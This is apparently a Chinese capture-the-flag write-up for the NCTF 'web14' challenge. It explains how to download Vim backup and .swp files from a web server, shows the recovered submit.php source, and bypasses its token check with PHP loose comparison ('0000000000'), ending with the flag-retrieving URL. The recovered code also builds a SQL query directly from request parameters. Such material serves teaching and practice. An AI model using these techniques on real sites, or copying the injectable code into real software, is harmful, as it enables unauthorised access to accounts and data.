http://nctf.nuptzj.cn/web14/index.php

TIPS:

1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass
<html><head>
	<meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
	<meta name="renderer" content="webkit">
	<meta name="admin" content="admin@nuptzj.cn">
	<meta name="editor" content="Vim">
	<title>logic</title>
	<style type="text/css">
		body,html{
			position: relative;
			height: 100%;
			width: 100%;
			padding: 0;
			margin: 0;
			background-color: #272822;
			color: #fff;
		}
		form{
			position: absolute;
			top: 50%;
			left: 50%;
			width: 400px;
			margin: -70px -200px;
		}
		form input{
			display: block;
			margin: 10px auto;
			width: 100%;
			border: none;
			height: 2rem;
			border-radius: 5px;
		}
	</style>
</head>
<body>
	<form action="submit.php" method="GET">
		<h1>找回管理员密码</h1>
		email:<input name="emailAddress" type="text"><br>
		token:<input name="token" type="text"><br>
		<input type="submit" value="提交">
	</form>






</body></html>

 

题解:

原理:

vim的特性,自动备份:

一、vim备份文件

     默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看;

    eg:index.php普遍意义上的首页,输入域名不一定会显示。   它的备份文件则为index.php~

二、vim临时文件

    vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件

 .submit.swp。如果文件正常退出,则此文件自动删除。
 

 获取.submit.php.swp


........这一行是省略的代码........

/*
如果登录邮箱地址不是管理员则 die()
数据库结构

--
-- 表的结构 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 转存表中的数据 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/


........这一行是省略的代码........

if(!empty($token)&&!empty($emailAddress)){
	if(strlen($token)!=10) die('fail');
	if($token!='0') die('fail');
	$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
	$r = mysql_query($sql) or die('db error');
	$r = mysql_fetch_assoc($r);
	$r = $r['num'];
	if($r>0){
		echo $flag;
	}else{
		echo "失败了呀";
	}
}
	

可知:token=0000000000

<meta name="admin" content="admin@nuptzj.cn">

所以

URL=http://nctf.nuptzj.cn/web14/submit.php?emailAddress=admin@nuptzj.cn&token=0000000000